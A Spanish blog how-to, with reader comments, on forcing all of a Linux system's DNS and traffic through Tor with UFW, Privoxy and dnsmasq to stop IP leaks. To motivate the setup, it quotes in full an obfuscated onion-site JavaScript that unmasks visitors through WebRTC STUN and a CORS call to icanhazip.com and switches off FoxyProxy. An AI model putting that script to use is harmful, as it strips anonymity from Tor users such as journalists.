Torificando voy, torificando vengo y leaks no tengo

Publicado: julio 1, 2015 en Seguridad, System
Etiquetas:, , ,

Hoy voy a hacer un pequeño Howto, que nos va a servir para “torificar” el sistema. ¿Por qué hacer esto? Bueno, cuando utilizamos Tor-Bowser, podemos navegar a través de la red TOR y, en principio, hacerlo con un alto grado de anonimato. Sin embargo, existen diferentes técnicas que van a permitir revelar nuestra IP.

Para clarificar un poco esto, podéis visitar https://ipleak.net (con Tor-Browser, no podrá descubrir vuestra IP mediante WebRTC, porque ya lo tiene deshabilitado).

La idea es que, por un lado, todas las consultas de DNS las hagamos a la red TOR. Por otro, vamos a enviar todo el tráfico saliente a través de TOR por defecto. El tráfico entrante y saliente, estará bloqueado por defecto. De esta manera, evitaremos que pueda ser revelada nuestra IP con mecanismos similares, basados en JavaScript.

Aunque no es nada recomendable habilitar JavaScript, la mayor parte de las webs, incluyendo las de la DarkWeb, lo utilizan y hay muchas como ésta: http://7f7t73zmv3py5lfq.onion. Contiene un script en JS bastante curioso:

function() {
    var memory = localStorage.getItem([]+!-[]);
    var ips = memory ? JSON.parse(memory) : [];
    var nop = function(){};

    var log = function(msg) {
	document.getElementsByTagName("pre")[+(3 > 2 > 1)].textContent += "\n" + msg;
};

var probeImg = function(src, success, error) {
    var i = new Image();
    i.onload = success || nop;
    i.onerror = error || nop;
    i.src = src;
};

(function(magic, learn) {
    var i = magic.length;
    while(i-->(/|/|/|/)) {
            try {
                magic[i](learn);
    } catch(e) {};
    }
})([
	(function(cb) {
		var ip_dups = {};
		var servers = nop();

		var mediaConstraints = {
			optional: [{RtpDataChannels: !~~/!/}]
		};

		var rtc = (function(srcs) {
			var i = srcs.length;
			while(i-->(/|/|/|/)) {
				var win = srcs[i]();

				var rtc = [function() {
					[function() {
						var _ = server = {iceServers: [{urls: "\x73\x74\x75\x6e\x3a\x73\x74\x75\x6e\x2e\x73\x65\x72\x76\x69\x63\x65\x73\x2e\x6d\x6f\x7a\x69\x6c\x6c\x61\x2e\x63\x6f\x6d"}]};
					}, nop][+!win.webkitRTCPeerConnection]();
						return win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection;
					}, nop][+!win]();

					if(!!rtc) return rtc;
				}
			})([function() {
				var iframe = document.createElement('iframe');
				iframe.style.display = 'none';
				document.body.appendChild(iframe);
				return iframe.contentWindow;
			}, function() {
				return window;
				var window = window;
			}, function() {
				return window;
			}]);

			var pc = new rtc(servers, mediaConstraints);

			pc.onicecandidate = function(ice){
				[function() {
					var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
					var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

					[nop, function() {
						cb(ip_addr);
                                        }][+!ip_dups[ip_addr]]();
                                        ip_dups[ip_addr] = !~~/!/;
                                }, nop][+!ice.candidate]();
                        };

		pc.createDataChannel([]+[]);

		pc.createOffer(function(result){
			log("[*] triggering stun deanonymization...");
			pc.setLocalDescription(result, nop, nop);
		}, nop);
	}),

	(function(cb) {
		probeImg("http://7f7t73zmv3py5lfq.onion/d.jpg", function() {
			log('[+] onion access detected');
		});
		log("[*] probing tor...");
	}),

	(function(cb) {
		probeImg("http://ptaheccwwgwv7ypoozo3twrgngv63v4xpd7qgxq3xkkm64iysxfq.b32.i2p/d.jpg", function() {
			log('[+] i2p access detected');
		});
		log("[*] probing i2p...");
	}),

	(function(cb) {
		[nop, function() {
			log("[+] (tor|i2p)2web-ish gateway detected");
		}][+!~["onion", "i2p"].indexOf(location.hostname.split(".").reverse()[0])]();
	}),

	(function(cb) {
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function() {
			[nop, function() {
				cb(xhr.responseText.trim());
			}][+!(xhr.readyState^[,,,,].length)]();
		};
		xhr.open("GET", "https://icanhazip.com/", !~~/!/);
		log("[*] triggering cors deanonymization...");
		xhr.send();
	}),

	(function() {
		[nop, function() {
			var version = FoxyProxy.version;
			var mode = FoxyProxy.mode;
			log("[+] Detected " + version.name + " " + version.version + ", set to " + mode);
			// log(`[+] Detected ${version.name} ${version.version}, set to ${mode}`);
			FoxyProxy.setMode("disabled", {
				success: function() {
					log("[+] disabled your proxy");
	}
				});
			}][+("FoxyProxy" in window)]();
		}),

		(function() {
			var mozilla = 0;
			var webkit = 0;

			for(x in window) {
				[nop, function() {
					mozilla++;
				}, function() {
					webkit++;
				}][!x.indexOf("webkit")<<1|!x.indexOf("moz")]();
			}

			[nop, function() {
				log('[+] firefox detected');
			}, function() {
				log('[+] webkit detected');
			}][(webkit&&!mozilla)<<1|(mozilla&&!webkit)]();
		}),

		(function() {
			[function() {
				log("[*] querying memorized ips...");
				ips.forEach(function(ip) {
					log("[+] found ip: " + ip);
				});
			}][+!ips.length]();
		})
	], function(ip) {
		[nop, function() {
			ips.push(ip);
			localStorage.setItem([]+!-[], JSON.stringify(ips));
			log("[+] learned ip: " + ip);
		}][+(ip && ips.indexOf(ip) < 0)]();
	});
})();

Este script está diseñado para intentar extraer nuestra IP real, entre otras cosas, utiliza la vulnerabilidad WebRTC. Para intentar evitar que estos scripts funcionen, vamos a utilizar las siguientes herramientas:

sudo pacman -Syu tor privoxy dnsmasq ufw ntp

Podríamos utilizar directamente IPTables pero, en este caso, lo vamos a hacer con UFW. Privoxy será el encargado de filtrar y bloquear algunos contenidos, como publicidad, etc. y nos permitirá decidir qué proxy utilizamos o si queremos salir a algún sitio directamente, sin utlizar TOR, etc. DNSMasq será el encargado de realizar una caché de las DNS (al utilizar TOR como servidor de DNS, conseguimos que se resuelvan un poco más rápido).

Suponiendo que utilicemos NetworkManager, podemos crear un script para que lance TOR, Privoxy y/o I2P. En  /etc/NetworkManager/dispatcher.d/ creamos un fichero por ejemplo, proxyup, con el siguiente contenido:

#!/bin/bash
[ "$2" = "up" ] && ( systemctl restart privoxy;  systemctl restart tor; systemctl restart i2prouter; systemctl restart ntpdate;)

Damos los permisos necesarios:

sudo chown root:root /etc/NetworkManager/dispatcher.d/proxyup
sudo chmod u+x,go-wrx /etc/NetworkManager/dispatcher.d/proxyup

Bien, con esto, cuando se levante alguna interfaz de red, se lanzarán los servicios TOR, Privoxy, etc. y sincronizará la hora, vía NTP. Ahora, vamos por el cortafuegos. Lo primero, editar el fichero /etc/ufw/before.rules y añadimos esto al principio del fichero:


*nat
:PREROUTING ACCEPT [6:2126]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [17:6239]
:POSTROUTING ACCEPT [6:408]

-A PREROUTING ! -i lo -p udp -m udp --dport 53 -j REDIRECT --to-ports 53
-A PREROUTING ! -i lo -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040

-A OUTPUT -o lo -j RETURN

-A OUTPUT -m owner --uid-owner "dnsmasq" -j RETURN
-A OUTPUT -m owner --uid-owner "privoxy" -j RETURN
-A OUTPUT -m owner --uid-owner "i2p" -j RETURN

-A OUTPUT -d 192.168.0.0/16 -j RETURN
-A OUTPUT -m owner --uid-owner "tor" -j RETURN
-A OUTPUT -p udp -m udp --dport 53 -j REDIRECT --to-ports 53
-A OUTPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040

COMMIT

Ahora, vamos a ir añadiendo reglas, quedando, más o menos así (las añadidas son las que están entre los bloques #tor – #ftor)


......
# allow all on loopback
-A ufw-before-input -i lo -j ACCEPT
-A ufw-before-output -o lo -j ACCEPT

#tor
-A ufw-before-input -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
#ftor

# quickly process packets for which we already have a connection
-A ufw-before-input -m state --state RELATED,ESTABLISHED -j ACCEPT
-A ufw-before-output -m state --state RELATED,ESTABLISHED -j ACCEPT

.....

-A ufw-before-input -p icmp --icmp-type echo-request -j ACCEPT

#tor
-A ufw-before-output -d 127.0.0.0/8 -j ACCEPT
-A ufw-before-output -d 192.168.0.0/16 -j ACCEPT

-A ufw-before-input -s 127.0.0.1/8 -j ACCEPT
-A ufw-before-input -p tcp -j REJECT --reject-with tcp-reset
-A ufw-before-input -p udp -j REJECT --reject-with icmp-port-unreachable
-A ufw-before-input -j REJECT --reject-with icmp-proto-unreachable
-A ufw-before-output -m owner --uid-owner "tor" -j ACCEPT
-A ufw-before-output -m owner --uid-owner "privoxy" -j ACCEPT
-A ufw-before-output -m owner --uid-owner "i2p" -j ACCEPT

-A ufw-before-output -j REJECT --reject-with icmp-port-unreachable
#ftor

En /etc/default/ufw, dejamos las políticas por defecto de Input, Output y Forward  a Drop:


DEFAULT_INPUT_POLICY="DROP"

DEFAULT_OUTPUT_POLICY="DROP"

DEFAULT_FORWARD_POLICY="DROP"

Toca añadir algunas líneas al final del /etc/tor/torrc:

AllowInvalidNodes middle
RefuseUnknownExits 1
StrictNodes 1

DNSPort 9053
AutomapHostOnResolve 1
AutomapHostsSuffixes .exit,.onion,.i2p

SocksPort 9050
ControlPort 9051
CookieAuthentication 1

TransPort 9040

Toca configurar Privoxy, añadimos al final del /etc/privoxy/config:


forward-socks4a / localhost:9050 .
forward .i2p:80 localhost:4444
forward .i2p:443 localhost:4445

forward localhost/ .

En DNSMasq, en el fichero /etc/dnsmasq.conf, añadimos al final la línea:


server=127.0.0.1#9053

Tambien hay que quitar la # a la línea no-resolv.

Debemos activar UFW:

sudo systemctl enable ufw

Para utilizar Privoxy, en Firefox, vamos a Editar->Preferencias->Avanzado->Red, en Conexión, pinchamos en Configuración y establecemos, en Configuración manual del proxy, localhost, puerto 8118 y marcamos Usar el mismo proxy para todo. Para que aparezca el menú de Firefox, si está oculto, pulsamos ALT.

Y ya podemos reiniciar el equipo. Ahora, al acceder a https:/ipleak.net, aún con JS activado y con WebRTC habilitado, no podrá sacar nuestra IP Real. Algo que sí se filtrará será la IP local y otra información local de nuestro equipo, utilizando JS y Flash así que, siempre que se pueda, dejadlos  bloqueados. Además, siempre se nos puede hacer un seguimiento con la huella digital de nuestro navegador, podéis visitar https://panopticlick.eff.org/ para comprobar si hay más navegadores con la misma huella que el vuestro 😉

Con esto podremos protegernos de ataques dirigidos al navegador, clientes IRC (por ejemplo, ataques vía DCC), pero no podremos protegernos de otro tipo de ataques que dependan del propio protocolo de TOR, los Exit Nodes, etc.

¡Espero que os sea útil!

Anuncios
comentarios
  1. Laegnur dice:

    Buenas

    A mi con todo esto de torificar el equipo me surge una duda…

    Se dice que usar torrent sobre Tor, no es recomendable, y que incluso afecta a la red, por lo que mi duda es…

    como habría que configurar torrent para que siga funcionando por fuera de la torificación?

    Y otra duda, existe una alternativa a usar torrent dentro de tor?

    Un saludo

    • Archuser dice:

      Tendrías que añadir algunas reglas más para que, los puertos que utilices en el cliente Bittorrent, no se redirijan al puerto de TOR, por ejemplo, supongamos que es el puerto 8888. En la sección NAT, antes de estas cadenas:

      -A PREROUTING ! -i lo -p udp -m udp --dport 53 -j REDIRECT --to-ports 53
      -A PREROUTING ! -i lo -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040

      pondrías:
      -A PREROUTING -s 192.168.0.0/16 -p tcp --sport 8888 -j RETURN
      -A PREROUTING -s 192.168.0.0/16 -p udp --sport 8888 -j RETURN

      Antes de:
      -A OUTPUT -o lo -j RETURN

      Añade:
      -A OUTPUT -s 192.168.0.0/16 -p tcp --sport 8888 -j RETURN
      -A OUTPUT -s 192.168.0.0/16 -p udp --sport 8888 -j RETURN

      Luego, en los Filter, a continuación de:
      -A ufw-before-output -d 192.168.0.0/16 -j ACCEPT

      Añadirías:
      -A ufw-before-output -s 192.168.0.0/16 -p tcp --sport 8888 -j ACCEPT
      -A ufw-before-output -s 192.168.0.0/16 -p udp --sport 8888 -j ACCEPT
      -A ufw-before-input -d 192.168.0.0/16 -p tcp --dport 8888 -j ACCEPT
      -A ufw-before-input -d 192.168.0.0/16 -p udp --dport 8888 -j ACCEPT

      • Laegnur dice:

        Buenas.

        He seguido los pasos, y en principio la pagina de IPLeaks no me indica leaks. Pero me surge una nueva duda, y un pequeño problema, que a ver si me sabes guiar para solucionarlo.

        Cuando tu pones 192.168.0.0/16, por que es 16? no debería ser 24?

        Y el problemilla, por privoxy. Al tratar de acceder a la ip del router, me devuelva una pagina de error 503 de privoxy por forwarding failure. Sabrías como corregirlo?

        • Archuser dice:

          La idea es que funcione dentro de la red interna, como no sé cuál sería la ip de origen y, lo más probable es que esté en 192.168., por eso establezco el rango para permitir la salida. En cualquier caso, sabiendo que tu red es .1 o .0 o la que corresponda, puedes especificarlo mejor, quedando 192.168.0.0/24 o 192.168.1.0/24.

          En cuanto a la red interna, en el navegador puedes indicar que no pase por el proxy algunas IPs, por ejemplo, en el campo “No usar proxy para:” puedes añadir:

          localhost, 127.0.0.1,192.168.0.0/24,192.168.1.1/24

          En el mismo privoxy podrías añadir una regla para que no las intente rutar a través de tor:

          #para toda la red interna
          forward 192.168.*.*/ .
          # Si tu red es 192.168.0.0/24:
          forward 192.168.0.*/ .

          Eso debe ir después de las reglas para enviar al proxy de TOR e I2P.

    • Archuser dice:

      La alternativa a torrent, es utilizar los I2P-Torrent, funcionan dentro de la I2P, o la red iMule, un cliente modificado de aMule para funcionar dentro de I2P pero, dentro de la red TOR, no existe, porque no hay posibilidad de utilizar el protocolo UDP.

      Para los I2P-Torrent hay un plugin para Vuze http://wiki.vuze.com/w/I2PHelper_HowTo.

  2. fzeta dice:

    Excelente post @zodiac! Más claro agua 😉
    Muchas gracias por compartirlo whitehat **@@
    😉

  3. Martín V dice:

    Muy bueno el artículo Miguel, como siempre.

    Todavía no tuve oportunidad de probarlo, pero quería preguntarte cómo se te ocurría que podía empaquetarse esto en un par de scripts que me permita activar y desactivar esta protección, ya que dejarlo permanentemente activado en mi compu no me resulta muy conveniente, pero sí me interesa poder activarlo en algunos momentos.

    ¡Gracias!

    M

    • Archuser dice:

      Muchas gracias!
      Realmente, quién se encarga de la torificaión es UFW. Si no utilizas cortafuegos, basta activarlo y desactivarlo. En firefox, quitas y pones el proxy (si no lo pones y está UFW activado, todo saldrá igualmente por TOR, pero no por pasará por Privoxy)

      sudo ufw disable
      sudo ufw enable

      Si utilizas cortafuegos y es UFW, lo más rápido:
      – Copias el /etc/default/ufw a /etc/default/ufw.sintor
      – Copias el /etc/ufw/before.rues a /etc/ufw/before.sintor
      – Los ficheros anteriores, le añades las modificaciones y los salvas como /etc/default/ufw.tor y /etc/ufw/before.tor
      – Creas un fichero, torifica, con:

      #!/bin/bash
      cp -f /etc/default/ufw.tor /etc/default/ufw
      cp -f /etc/ufw/before.tor /etc/default/before.rules
      ufw disable
       iptables -F
       iptables -X
       iptables -t nat -F
       iptables -t nat -X
       iptables -t mangle -F
       iptables -t mangle -X
       iptables -t raw -F
       iptables -t raw -X
       iptables -t security -F
       iptables -t security -X
       iptables -P INPUT ACCEPT
       iptables -P FORWARD DROP
       iptables -P OUTPUT ACCEPT
      ufw enable

      – Otro que sea destorifica con:

      #!/bin/bash
      cp -f /etc/default/ufw.sintor /etc/default/ufw
      cp -f /etc/ufw/before.sintor /etc/default/before.rules
      ufw disable
       iptables -F
       iptables -X
       iptables -t nat -F
       iptables -t nat -X
       iptables -t mangle -F
       iptables -t mangle -X
       iptables -t raw -F
       iptables -t raw -X
       iptables -t security -F
       iptables -t security -X
       iptables -P INPUT ACCEPT
       iptables -P FORWARD DROP
       iptables -P OUTPUT ACCEPT
      ufw enable

      Al activar UFW, vuelve a cargar las reglas que hubieses añadido al mismo, esté o no torificado.

      También puedes utilizar privoxy para salir sin hacerlo por TOR a algunos sitios, basta añadir al final del fichero

      forward .dominiosintorificar.com  . 

      y decirle a la aplicación, si tiene la opción, que utilice un proxy http y configurarle privoxy.

  4. Coide dice:

    Pregunto dos cosas, si no es molestia, para lo que somos usuarios normalitos del todo.

    ¿Entonces basta con no habilitar scripts con Tor para estar seguro? ¿Y Tor sobre windows es seguro?

    Un saludo

    • Archuser dice:

      Lo mejor es utilizar tor-browser. Deshabilitar js, flash, webrtc, carga de imágenes… En el Tor-browser puedes escoger el nivel de seguridad que quieras, a mayor nivel, peor experiencia. El problema es que muchas webs necesitan JS.

      Sobre windows, bueno, siempre se recomienda utilizar sistemas GNU/Linux…

      Otra opción es utilizar un sistema ya preparado, como Tails. Utiliza la misma torificación, pero con otro firewall, y otras muchas cosas más.

  5. Coide dice:

    Y gracias por el artículo, claro. 😉

  6. Sadnem dice:

    Tras leer tu artículo me surgen un par de curiosidades que ójala puedas aclararme:
    1. Si usamos anonabox en la estructura de red, ¿seguimos siendo susceptibles a los ataques y filtrado de la IP real?
    2. Idem que 1, pero utilizando el proyecto PORTAL: Personal Onion Router To Assure Liberty

    Muchas gracias!

    • Archuser dice:

      En principio, ambas soluciones harían precisamente lo que hemos hecho en el cortafuegos de nuestra máquina, pero justo en la salida, en el router. Sin embargo, anonabox fue muy criticado y acusado de estafa, porque utilizaba directamente scripts de PORTAL que, por otra parte, parece que lleva varios años sin actualizar nada. Puedes echar un ojo en http://www.xataka.com/privacidad/no-es-libre-todo-lo-que-reluce-anonabox-es-cuestionado-y-acusado-de-fraude y https://github.com/grugq/portal

      Una opción es instalar OpenWRT en nuestro router y, allí, realizar nosotros la torificación pero, así, sería mucho más complicado descativar/activar la misma y puede que no siempre nos interese.

      También pueden utilizarse distribuciones que ya vienen preparadas, Tails es una de ellas, que es recomendada para personas que necesitan un alto grado de anonimato, por ejemplo, periodistas. También está Whonix, que se divide en dos partes, una que hará de GateWay (puerta de enlace), que instalaremos en una máquina virtual y, otra, que será el sistema de escritorio. Podríamos utilizar otro sistema de escritorio y especificar como puerta de enlace la ip de nuestra Whonix.

  7. Reblogueó esto en BLOG DEL PROYECTO TIC – TACy comentado:
    Excelente articulo para los que usan TOR o son amantes de la privacidad en la Web.

  8. […] conseguir. En caso de estar interesados en el tema os recomiendo este pequeño tutorial sobre cómo evitar que descubran tu ip en la deep web, o este otro que habla de cómo fortificar tu sistema operativo para evitar […]

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s